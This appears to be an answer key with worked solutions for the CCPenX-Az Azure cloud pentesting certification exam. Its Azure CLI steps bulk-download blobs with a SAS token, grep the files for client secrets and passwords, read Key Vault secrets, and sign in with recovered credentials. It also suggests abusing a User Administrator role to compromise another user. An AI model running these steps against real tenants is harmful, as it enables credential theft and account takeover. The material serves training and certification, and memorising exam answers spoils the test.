The SecOps Group Certified Cloud Pentesting eXpert - Azure CCPenX-Az Exam Questions

Answer : A

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token '$SAS' \

--query '[].name' \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token '$SAS'

Search the downloaded files for application credentials:

grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false

A typical file may look like this:

{

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',

'clientId': '',

'clientSecret': ''

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

Answer : A

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================

Answer : B

Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id <client-id>

Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

Answer : A

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT='prodreportstore01'

CONTAINER='sensitive-exports'

SAS='?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z&sig=<signature>'

List blobs:

az storage blob list \

--account-name '$ACCOUNT' \

--container-name '$CONTAINER' \

--sas-token '$SAS' \

--query '[].name' \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

================

Answer : B

Detailed Solution:

Log in using the credential recovered in Q4.

az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p '<recovered-password>'

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url 'https://graph.microsoft.com/v1.0/me/memberOf' \

--output json

To display only role names:

az rest --method GET \

--url 'https://graph.microsoft.com/v1.0/me/memberOf' \

--query 'value[].displayName' \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final Answer:

B . User Administrator

================

Answer : A

finance-reporting-api

Detailed Solution:

Set the resource group:

RG='rg-prod-apps-eastus'

List resources:

az resource list \

--resource-group '$RG' \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

Answer : A

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p '<client-secret>' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

'user': {

'name': 'c5fba7db-5e61-45bc-8944-3cd457bb19c2',

'type': 'servicePrincipal'

}

}

This confirms you are authenticated as the App Registration/service principal.

================